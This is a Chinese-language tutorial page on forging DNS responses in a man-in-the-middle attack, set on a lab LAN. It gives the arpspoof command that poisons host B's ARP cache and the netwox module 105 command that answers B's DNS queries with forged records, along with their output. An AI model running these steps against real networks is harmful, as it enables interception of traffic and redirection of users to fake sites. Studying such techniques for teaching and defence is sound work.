如何偽造DNS響應?

2020-07-16 10:05:12
在中間人攻擊中,當使用者存取特定的網站,可以通過偽造 DNS 響應,將使用者引導到一個虛假的網站。netwox 工具提供的編號為 105 的模組,可以用來偽造 DNS 響應包。

【範例】已知主機 A 的 IP 地址為 192.168.59.133,主機 B 的 IP 地址為 192.168.59.135。下面介紹主機 A 對主機 B 實施 ARP 攻擊,在主機 A 上監聽主機 B 的 DNS 請求,並偽造 DNS 響應。

1) 主機 A 對主機 B 實施 ARP 攻擊,執行命令如下:

[email protected]:~# arpspoof -i eth0 -t 192.168.59.135 192.168.59.2

該命令表示對主機 B 實施 ARP 攻擊,偽造的是閘道器 192.168.59.2。執行命令後輸出資訊如下:

0:c:29:fd:de:b8 0:c:29:ca:e4:66 0806 42: arp reply 192.168.59.2 is-at
0:c:29:fd:de:b8
0:c:29:fd:de:b8 0:c:29:ca:e4:66 0806 42: arp reply 192.168.59.2 is-at
0:c:29:fd:de:b8
0:c:29:fd:de:b8 0:c:29:ca:e4:66 0806 42: arp reply 192.168.59.2 is-at
0:c:29:fd:de:b8
0:c:29:fd:de:b8 0:c:29:ca:e4:66 0806 42: arp reply 192.168.59.2 is-at
0:c:29:fd:de:b8
···    #省略其他資訊

上述輸出資訊表示成功發起了 ARP 攻擊,使主機 B 認為閘道器 192.168.59.2 的 MAC 地址為 00:0c:29:fd:de:b8(實施攻擊的主機 A 的 MAC 地址)。

2) 在主機 A 上監聽主機 B 的 DNS 請求包,並偽造 DNS 響應,使其返回指定的 DNS 響應。

例如,設定 DNS 響應包域名 www.baidu.con (http://www.baidu.con) 對應的 IP 地址為 101.102.103.104,權威名稱伺服器 123.baidu.com 對應的 IP 地址為 55.66.77.88。執行命令如下:

[email protected]:~# netwox 105 -h www.baidu.com -H 101.102.103.104 -a 123.baidu.com -A 55.66.77.88

執行命令後,沒有輸出資訊。因為主機 B 沒有產生 DNS 請求。

3) 當主機 B 上產生了 DNS 請求,該請求將會被主機 A 監聽到,並返回設定的 DNS 響應包的資訊。

例如,當主機 B 存取 www.baidu.con (http://www.baidu.con),主機 A 監聽並返回的 DNS 響應如下:
[email protected]:~# netwox 105 -h www.baidu.com -H 101.102.103.104 -a 123.baidu.com -A 55.66.77.88
DNS_question_______________________________________________.      #DNS請求
| id=22684  rcode=OK             opcode=QUERY                         |
| aa=0 tr=0 rd=1 ra=0  quest=1  answer=0  auth=0  add=0               |
| www.baidu.com. A                                                    |
|__________________________________________________________           |
DNS_answer________________________________________________.      #DNS響應
| id=22684  rcode=OK             opcode=QUERY                         |
| aa=1 tr=0 rd=1 ra=1  quest=1  answer=1  auth=1  add=1               |
| www.baidu.com. A                                                    |
| www.baidu.com. A 10 101.102.103.104                                 |
| 123.baidu.com. NS 10 123.baidu.com.                                 |
| 123.baidu.com. A 10 55.66.77.88                                     |
|__________________________________________________________           |
其中,DNS_question 部分為監聽到的主機 B 傳送的 www.baidu.com (http://www.baidu.com) 的 DNS 請求包資訊,DNS_answer 部分為主機 A 偽造的 DNS 響應資訊,成功返給了主機 B。